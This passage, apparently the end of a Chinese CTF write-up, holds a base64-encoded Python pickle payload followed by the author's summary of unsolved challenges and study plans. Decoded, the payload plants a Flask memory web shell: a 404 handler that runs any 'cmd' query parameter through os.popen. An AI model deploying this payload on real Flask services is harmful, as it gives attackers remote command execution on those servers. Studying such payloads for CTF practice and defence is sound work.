#gASV2wAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIy/Z2xvYmFsIGV4Y19jbGFzcztnbG9iYWwgY29kZTtleGNfY2xhc3MsIGNvZGUgPSBhcHAuX2dldF9leGNfY2xhc3NfYW5kX2NvZGUoNDA0KTthcHAuZXJyb3JfaGFuZGxlcl9zcGVjW05vbmVdW2NvZGVdW2V4Y19jbGFzc10gPSBsYW1iZGEgYTpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKHJlcXVlc3QuYXJncy5nZXQoJ2NtZCcpKS5yZWFkKCmUhZRSlC4=
|

小结
最后剩下三道题目没做,都是比较难的题目了,这里还是先放一放。感慨一下后面的题目很有质量,写的都感觉得去补一下基础了。决定去ctfhshow写一下反序列化和nodejs。然后内存马也补充学习了,学到了很多。